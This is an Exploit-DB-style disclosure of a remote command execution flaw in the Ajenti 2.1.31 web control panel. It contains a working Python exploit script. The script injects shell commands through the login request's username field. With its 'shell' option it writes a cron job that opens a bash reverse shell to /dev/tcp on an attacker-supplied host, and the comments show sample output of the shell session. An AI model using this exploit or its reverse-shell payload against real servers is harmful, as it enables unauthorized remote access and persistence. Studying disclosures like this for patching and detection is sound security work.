1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 |
# Title: Ajenti 2.1.31 - Remote Code Execution # Author: Jeremy Brown # Date: 2019-10-13 # Software Link: https://github.com/ajenti/ajenti # CVE: N/A # Tested on: Ubuntu Linux #!/usr/bin/python # ajentix.py # # Ajenti Remote Command Execution Exploit # # ------- # Details # ------- # # Ajenti is a web control panel written in Python and AngularJS. # # One can locally monitor executed commands on the server while testing # # $ sudo ./exec-notify (google for "exec-notify.c", modify output as needed) # sending proc connector: PROC_CN_MCAST_LISTEN... sent # Reading process events from proc connector. # Hit Ctrl-C to exit # # Browse over to https://server:8000/view/login/normal to login # # ..... # pid=9889 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - test ] # pid=9889 executed [/bin/su -c /bin/echo SUCCESS - test ] # # Modified the JSON request username value to be <code>id # # pid=7514 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - <code>id</code> ] # pid=7516 executed [id ] # pid=7514 executed [/bin/su -c /bin/echo SUCCESS - uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) ] # # *ACK.....* # # Also the login routine times out after 5 seconds (see auth.py), which # makes an interactive shell relatively ephemeral. So, we cron job. # # $ python3 ajentix.py server.ip shell local-listener.ip # Done! # # $ nc -v -l -p 5555 # Listening on [0.0.0.0] (family 0, port 5555) # Connection from server.domain 41792 received! # bash: cannot set terminal process group (18628): Inappropriate ioctl for device # bash: no job control in this shell # nobody@server:/var/spool/cron$ ps # PID TTYTIME CMD #6386 ?00:00:00 /usr/local/bin/ <-- ajenti-panel worker # 18849 ?00:00:00 sh # 18851 ?00:00:00 bash # 18859 ?00:00:00 ps # # # Tested Ajenti 2.1.31 on Ubuntu 18.04, fixed in 2.1.32 # # Fix commit: https://github.com/ajenti/ajenti/commit/7aa146b724e0e20cfee2c71ca78fafbf53a8767c # # import os import sys import ssl import json import urllib.request as request def main(): if(len(sys.argv) < 2): print("Usage: %s <host> [\"cmd\" or shell...ip]\n" % sys.argv[0]) print("Eg:%s 1.2.3.4 \"id\"" % sys.argv[0]) print("...%s 1.2.3.4 shell 5.6.7.8\n" % sys.argv[0]) return host = sys.argv[1] cmd = sys.argv[2] if(cmd == 'shell'): if(len(sys.argv) < 4): print("Error: need ip to connect back to for shell") return ip = sys.argv[3] shell = "<code>echo \"* * * * * bash -i >& /dev/tcp/" + ip + "/5555 0>&1\" > /tmp/cronx; crontab /tmp/cronx</code>" username = shell else: username = "<code>" + cmd + "</code>" body = json.dumps({'username':username, 'password':'test', 'mode':'normal'}) byte = body.encode('utf-8') url = "https://" + host + ":8000" + "/api/core/auth" try: req = request.Request(url) req.add_header('Content-Type', 'application/json; charset=utf-8') req.add_header('Content-Length', len(byte)) request.urlopen(req, byte, context=ssl._create_unverified_context()) # ignore the cert except Exception as error: print("Error: %s" % error) return print("Done!") if(__name__ == '__main__'): main() |